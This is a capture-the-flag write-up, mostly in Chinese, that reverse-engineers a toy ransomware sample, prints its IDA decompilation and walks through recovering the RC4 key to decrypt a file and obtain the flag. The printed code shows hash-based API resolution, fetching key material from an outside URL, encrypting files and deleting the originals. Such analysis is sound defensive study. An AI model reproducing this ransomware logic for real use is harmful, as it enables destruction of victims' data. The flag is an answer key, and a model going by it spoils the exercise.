Simple Reverse 0x31(2023 HW - Baby Ransom 2)

Simple Reverse 0x31(2023 HW - Baby Ransom 2)

Background

Source code

  • IDA WinMain
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    {
      HWND hWnd; // [rsp+60h] [rbp-A8h]
      WNDCLASSW WndClass; // [rsp+70h] [rbp-98h] BYREF
      struct tagMSG Msg; // [rsp+C0h] [rbp-48h] BYREF
    
      memset(&WndClass, 0, sizeof(WndClass));
      WndClass.lpfnWndProc = (WNDPROC)store_winword;
      WndClass.hInstance = hInstance;
      WndClass.lpszClassName = Caption;
      WndClass.hbrBackground = CreateSolidBrush(0);
      if ( !RegisterClassW(&WndClass) )
        return 1;
      hWnd = CreateWindowExW(0, Caption, Caption, 0xCF0000u, 100, 100, 800, 600, 0i64, 0i64, hInstance, 0i64);
      if ( !hWnd )
        return 2;
      MainPayload();
      ShowWindow(hWnd, nShowCmd);
      memset(&Msg, 0, sizeof(Msg));
      while ( GetMessageW(&Msg, 0i64, 0, 0) )
      {
        TranslateMessage(&Msg);
        DispatchMessageW(&Msg);
      }
      return 0;
    }
    
  • IDA MainPayload
    1
    2
    3
    4
    5
    6
    7
    void __stdcall MainPayload()
    {
      LoadLibraryA(LibFileName);
      LoadLibraryA(aWininetDll);
      if ( !(unsigned int)DynamicAPIResolution() )
        DoSomethingBad();
    }
    
  • IDA DynamicAPIResolution
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    __int64 DynamicAPIResolution()
    {
      // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
    
      p_InLoadOrderModuleList = &NtCurrentPeb()->Ldr->InLoadOrderModuleList;
      for ( module = p_InLoadOrderModuleList;
            module->InLoadOrderLinks.Flink != p_InLoadOrderModuleList;
            module = module->InLoadOrderLinks.Flink )
      {
        dll_name = module->BaseDllName.Buffer;
        dll_base = module->DllBase;
        if ( dll_name )
        {
          if ( (*dll_name == 'k' || *dll_name == 'K')
            && (dll_name[1] == 'e' || dll_name[1] == 'E')
            && (dll_name[2] == 'r' || dll_name[2] == 'R')
            && (dll_name[3] == 'n' || dll_name[3] == 'N')
            && (dll_name[4] == 'e' || dll_name[4] == 'E')
            && (dll_name[5] == 'l' || dll_name[5] == 'L')
            && dll_name[6] == '3'
            && dll_name[7] == '2' )                 // import kernel32 library
          {
            exportTable = (dll_base + getNtHdrs(dll_base)->OptionalHeader.DataDirectory[0].VirtualAddress);
            num_of_names = exportTable->NumberOfNames;
            name_array = dll_base + exportTable->AddressOfNames;
            name_ordinal = dll_base + exportTable->AddressOfNameOrdinals;
            func_array = dll_base + exportTable->AddressOfFunctions;
            for ( i = 0i64; i < num_of_names; ++i )
            {
              api_name = (dll_base + *&func_array[4 * *&name_ordinal[2 * i]]);
              case_0 = search_case(dll_base + *&name_array[4 * i]);
              switch ( case_0 )
              {
                case 0x69D265FE6B1C110Fi64:
                  LoadLibraryA_0 = api_name;
                  break;
                case 0x578960F1FC7FFF25i64:
                  GetProcAddress = api_name;
                  break;
                case 0xFA55E32C9D72A921i64:
                  qword_140007A98 = api_name;
                  break;
                case 0xE0746E00B47C0477i64:
                  GetLastError = api_name;
                  break;
                case 0xE7BDCAD1F3AE0E13i64:
                  CreateDirectoryA = api_name;
                  break;
                case 0x1C71D0537E2246F5i64:
                  FindFirstFileA = api_name;
                  break;
                case 0x121E523CBB49F938i64:
                  FindNextFileA = api_name;
                  break;
                case 0x1C8EF920B632E586i64:
                  FindClose = api_name;
                  break;
                case 0x28D0403A889E4F69i64:
                  copyFileA = api_name;
                  break;
                case 0x556A045B10DE85i64:
                  CloseHandle = api_name;
                  break;
                case 0x2E97865AB85128C3i64:
                  ReadFile = api_name;
                  break;
                case 0x2FA16C1D95E4306Ai64:
                  WriteFile = api_name;
                  break;
                case 0x5D35AEBEDFD88117i64:
                  DeleteFileA = api_name;
                  break;
                case 0xFC59546FD0D3D778i64:
                  GetFileSize = api_name;
                  break;
                case 0xEBC4E8E9B1542DEEi64:
                  CreateFileA = api_name;
                  break;
              }
            }
          }
          else if ( (*dll_name == 'm' || *dll_name == 'M')
                && (dll_name[1] == 's' || dll_name[1] == 'S')
                && (dll_name[2] == 'v' || dll_name[2] == 'V')
                && (dll_name[3] == 'c' || dll_name[3] == 'C')
                && (dll_name[4] == 'r' || dll_name[4] == 'R')
                && (dll_name[5] == 't' || dll_name[5] == 'T') )// import msvcrt library
          {
            exportTable_1 = (dll_base + getNtHdrs(dll_base)->OptionalHeader.DataDirectory[0].VirtualAddress);
            num_of_names_1 = exportTable_1->NumberOfNames;
            name_array_1 = dll_base + exportTable_1->AddressOfNames;
            name_ordinal_1 = dll_base + exportTable_1->AddressOfNameOrdinals;
            func_array_1 = dll_base + exportTable_1->AddressOfFunctions;
            for ( j = 0i64; j < num_of_names_1; ++j )
            {
              api_name_1 = (dll_base + *&func_array_1[4 * *&name_ordinal_1[2 * j]]);
              case_1 = search_case(dll_base + *&name_array_1[4 * j]);
              switch ( case_1 )
              {
                case 0x974ADB99DCFF7A24i64:
                  qword_140007B08 = api_name_1;
                  break;
                case 0xD9C0619DA0F59BADi64:
                  malloc = api_name_1;
                  break;
                case 0x2AB2847890E35C03i64:
                  sprintf_s = api_name_1;
                  break;
              }
            }
          }
          else if ( (*dll_name == 'u' || *dll_name == 'U')
                && (dll_name[1] == 's' || dll_name[1] == 'S')
                && (dll_name[2] == 'e' || dll_name[2] == 'E')
                && (dll_name[3] == 'r' || dll_name[3] == 'R')
                && dll_name[4] == '3'
                && dll_name[5] == '2' )            // import user32 library
          {
            exportTable_2 = (dll_base + getNtHdrs(dll_base)->OptionalHeader.DataDirectory[0].VirtualAddress);
            num_of_names_2 = exportTable_2->NumberOfNames;
            name_array_2 = dll_base + exportTable_2->AddressOfNames;
            name_ordinal_2 = dll_base + exportTable_2->AddressOfNameOrdinals;
            func_array_2 = dll_base + exportTable_2->AddressOfFunctions;
            for ( k = 0i64; k < num_of_names_2; ++k )
            {
              api_name_2 = dll_base + *&func_array_2[4 * *&name_ordinal_2[2 * k]];
              if ( search_case(dll_base + *&name_array_2[4 * k]) == 0x1E307D27BA21DDA4i64 )
                qword_140007A80 = api_name_2;
            }
          }
          else if ( (*dll_name == 'w' || *dll_name == 'W')
                && (dll_name[1] == 'i' || dll_name[1] == 'I')
                && (dll_name[2] == 'n' || dll_name[2] == 'N')
                && (dll_name[3] == 'i' || dll_name[3] == 'I')
                && (dll_name[4] == 'n' || dll_name[4] == 'N')
                && (dll_name[5] == 'e' || dll_name[5] == 'E')
                && (dll_name[6] == 't' || dll_name[6] == 'T') )// import wineinet library
          {
            exportTable_3 = (dll_base + getNtHdrs(dll_base)->OptionalHeader.DataDirectory[0].VirtualAddress);
            num_of_names_3 = exportTable_3->NumberOfNames;
            name_array_3 = dll_base + exportTable_3->AddressOfNames;
            name_ordinal_3 = dll_base + exportTable_3->AddressOfNameOrdinals;
            func_array_3 = dll_base + exportTable_3->AddressOfFunctions;
            for ( m = 0i64; m < num_of_names_3; ++m )
            {
              api_name_3 = (dll_base + *&func_array_3[4 * *&name_ordinal_3[2 * m]]);
              case_3 = search_case(dll_base + *&name_array_3[4 * m]);
              switch ( case_3 )
              {
                case 0x8261F0DF5FDC0887i64:
                  InternetOpenA = api_name_3;
                  break;
                case 0xE726A35A86C7641Ci64:
                  InternetOpenUrlA = api_name_3;
                  break;
                case 0x6F4E79C87F04F3E6i64:
                  InternetReadFile = api_name_3;
                  break;
                case 0x2DF8494D5C13046i64:
                  InternetCloseHandle = api_name_3;
                  break;
              }
            }
          }
        }
      }
      return 0i64;
    }
    
  • IDA DoSomethingBad
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    void __stdcall DoSomethingBad()
    {
      HMODULE LibraryA_0; // rax
      HANDLE FirstFileA; // [rsp+20h] [rbp-188h]
      const void *space; // [rsp+30h] [rbp-178h] BYREF
      DWORD fileSize; // [rsp+38h] [rbp-170h] BYREF
      struct _WIN32_FIND_DATAA lpFindFileData; // [rsp+40h] [rbp-168h] BYREF
      char folderName[24]; // [rsp+180h] [rbp-28h] BYREF
    
      strcpy(folderName, "Microsoft Update Backup");
      if ( (CreateDirectoryA(folderName, 0i64) || GetLastError() == ERROR_ALREADY_EXISTS) && !(unsigned int)InternetConnect() )
      {
        LibraryA_0 = LoadLibraryA_0(aAdvapi32);
        SystemFunction032 = (__int64 (__fastcall *)(_QWORD, _QWORD))GetProcAddress(LibraryA_0, ProcName);
        FirstFileA = FindFirstFileA(FileName, &lpFindFileData);
        if ( FirstFileA != (HANDLE)-1i64 )
        {
          do
          {
            space = 0i64;
            if ( (lpFindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0
              && !(unsigned int)Create_Read_File(lpFindFileData.cFileName, (LPVOID *)&space, &fileSize) )
            {
              if ( (unsigned int)sprintf_copyFile(lpFindFileData.cFileName, folderName) )
                Create_Write_Delete_File(lpFindFileData.cFileName, space, fileSize);
            }
          }
          while ( FindNextFileA(FirstFileA, &lpFindFileData) );
          FindClose(FirstFileA);
        }
      }
    }
    
  • IDA InternetConnect
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    __int64 InternetConnect()
    {
      unsigned int v1; // [rsp+30h] [rbp-38h]
      BOOL i; // [rsp+34h] [rbp-34h]
      _BYTE *lpBuffer; // [rsp+38h] [rbp-30h]
      HINTERNET hFile; // [rsp+40h] [rbp-28h]
      HINTERNET hInternet; // [rsp+48h] [rbp-20h]
      LPDWORD *lpdwNumberOfBytesRead; // [rsp+50h] [rbp-18h] BYREF
    
      lpBuffer = malloc(0x1000ui64);
      hInternet = InternetOpenA(szAgent, 1u, 0i64, 0i64, 0);
      if ( !hInternet )
        return 1i64;
      hFile = InternetOpenUrlA(hInternet, szUrl, 0i64, 0, INTERNET_FLAG_RELOAD, 0i64);
      if ( hFile )
      {
        v1 = 0;
        for ( i = InternetReadFile(hFile, lpBuffer, 0x1000u, &lpdwNumberOfBytesRead);
              i && lpdwNumberOfBytesRead && v1 < 0x1000;
              i = InternetReadFile(hFile, &lpBuffer[v1], 4096 - v1, &lpdwNumberOfBytesRead) )
        {
          v1 += lpdwNumberOfBytesRead;
        }
        qword_140007460 = (lpBuffer + 2687);
        lpBuffer[2706] = 0;
        InternetCloseHandle(hFile);
        InternetCloseHandle(hInternet);
        return 0i64;
      }
      else
      {
        InternetCloseHandle(hInternet);
        return 2i64;
      }
    }
    
  • IDA Create_Read_File
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    __int64 __fastcall Create_Read_File(LPCSTR lpFileName, LPVOID *space, DWORD *fileSize)
    {
      HANDLE hFile; // [rsp+40h] [rbp-128h]
      LPDWORD NumberOfBytesRead; // [rsp+48h] [rbp-120h] BYREF
      char v6; // [rsp+50h] [rbp-118h] BYREF
    
      hFile = CreateFileA(lpFileName, GENERIC_READ, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
      if ( hFile == (HANDLE)-1i64 )
        return 1i64;
      *fileSize = GetFileSize(hFile, 0i64);
      sub_140002A40((int)&v6, 256, (int)aD, *fileSize);
      *space = malloc(*fileSize + 1i64);
      if ( *space )
      {
        if ( ReadFile(hFile, *space, *fileSize, (LPDWORD)&NumberOfBytesRead, 0i64) )
        {
          *((_BYTE *)*space + *fileSize) = 0;
          CloseHandle(hFile);
        }
        return 0i64;
      }
      else
      {
        CloseHandle(hFile);
        return 1i64;
      }
    }
    
  • IDA sprintf_copyFile
    1
    2
    3
    4
    5
    6
    7
    8
    __int64 __fastcall sprintf_copyFile(const char *FileName, const char *folderName)
    {
      char buffer[272]; // [rsp+30h] [rbp-128h] BYREF
    
      sprintf_s(buffer, 0x104ui64, "%s\%s", folderName, FileName);// FolderName => Microsoft Update Backup
                                                    // FileName => baby-ransom.exe
      return copyFileA(FileName, buffer, 0i64);
    }
    
  • IDA Create_Write_Delete_File
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    void __fastcall Create_Write_Delete_File(const char *fileName, const void *space, DWORD fileSize)
    {
      unsigned __int64 v3; // [rsp+40h] [rbp-178h]
      __int64 v4; // [rsp+48h] [rbp-170h]
      HANDLE hFile; // [rsp+50h] [rbp-168h]
      DWORD nNumberOfBytesToWrite; // [rsp+68h] [rbp-150h] BYREF
      LPCVOID lpBuffer; // [rsp+70h] [rbp-148h]
      const struct ustring *key; // [rsp+78h] [rbp-140h] BYREF
      __int64 v9; // [rsp+80h] [rbp-138h]
      DWORD NumberOfBytesWritten[2]; // [rsp+88h] [rbp-130h] BYREF
      char Buffer[272]; // [rsp+90h] [rbp-128h] BYREF
    
      v9 = qword_140007460;
      LODWORD(key) = 19;
      v3 = -1i64;
      do
        ++v3;
      while ( fileName[v3] );                       // 這個do_while loop的結果是0xf,因為"baby-ransom.exe"總共15個字
      if ( v3 <= 0x13 )
      {
        v4 = -1i64;
        do
          ++v4;
        while ( fileName[v4] );
        LODWORD(key) = v4;
      }
      lpBuffer = space;
      nNumberOfBytesToWrite = fileSize;
      SystemFunction032(&nNumberOfBytesToWrite, &key);
      sprintf_s(Buffer, 0x104ui64, "enc_%s", fileName);
      hFile = CreateFileA(Buffer, 0x40000000u, 0, 0i64, 2u, 0x80u, 0i64);
      if ( hFile != (HANDLE)-1i64 )
      {
        if ( WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, NumberOfBytesWritten, 0i64) )
          DeleteFileA(fileName);
        CloseHandle(hFile);
      }
    }
    

Recon

這一題只要慢慢分析其實很簡單,也有很多是上課就有教到的地方,一樣從上到下(source code)

  1. 首先,如果直接執行這個程式的話,過沒多久會跳出一個視窗,其他部分”好像”沒有甚麼特別攻擊的行為,從WinMain中可以大略知曉這些事情,也就是攻擊者事先決定好一個通知的視窗(就是要叫你付錢的視窗)的一些設定(包含顏色、字形、字體等等),接著就進到MainPayload搞事
  2. 首先他先load msvcrt.dllwininet.dll這兩個library,再用上課教的Dynamic API Resolution,把原本process上的kernel32.dll, msvcrt.dlluser32.dll也一併load到該thread,接著就進到DoSomethingBad這邊
  3. 從上到下就做幾件事情
    1. 創一個名叫Microsoft Update Backup的folder
    2. 進行網路連線
      1. 試圖連線https://shouldhavecat.com/robots.txt這個網站
      2. 如果連線成功就讀取該網站的內容
    3. Load進SystemFunction032這個library → 非常重要
    4. 找目前目錄的第一個檔案(不限檔案類型)
    5. 進到Create_Read_File
      1. 創一個file,名字和之前取得的檔案名稱一樣(假設爬到的file名稱是flag.txt,那新的file也是一樣的名字)
      2. malloc一個大小為該檔案大小的空間(假設flag.txt的大小是0x11,malloc的空間就是0x11)
      3. 讀flag.txt到這個malloc空間
    6. 進到sprintf_copyFile,就是把./flag.txt複製到./Microsoft Update Backup/flag.txt
    7. 進到Create_Write_Delete_File,這是最重要的部分
      1. 計算RC4加密需要的key,這個就是從一開始從https://shouldhavecat.com/robots.txt讀取下來的內容中擷取一段8個bytes當作key
      2. 利用SystemFunction032把我們的檔案加密
      3. 創一個enc_flag.txt這個檔案然後把加密的cipher寫進去
  4. 加密的部分 從SystemFunction033這個網站可以知道SystemFunction033一開始的結構,我們可以順著這個結構去推敲解密需要的key
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
     struct ustring {
         DWORD Length;
         DWORD MaximumLength;
         PUCHAR Buffer;
     } _data, key;
    
     typedef NTSTATUS(WINAPI* _SystemFunction033)(
         struct ustring* memoryRegion,
         struct ustring* keyPointer
     );
    

    圖片.png

    1. 執行這行之前,跟一下他的資料結構,首先前4 bytes是代表大小,後4 bytes代表maximum length,後8 bytes代表該資料的pointer
    2. 第一個parameter就是要加密的檔案,大小就是0x11,儲存在0x214E5567710,所以要加密的明文是FLAG{test_134567} 圖片.png
    3. 第二個parameter就是加密所需要的key,大小是0x8,位置是0x324E556613F,所以加密所需的key是2F 37 32 38 33 33 31 33 圖片.png
  5. 既然已經知道所有的流程就直接使用線上工具解密即可

Exploit

直接用online tool decrypt cipher

  • Ciphertext: 71 04 1F C7 93 1A 7C A0 E1 F5 08 44 D0 08 18 D7 1D E0 22 B5 A3 AD 3A C9 B2 D5 E7 40 41 4B 86 97 E8 2E 6B
  • Key: 2F 37 32 38 33 33 31 33 圖片.png

Flag: FLAG{50_y0u_p4y_7h3_r4n50m?!hmmmmm}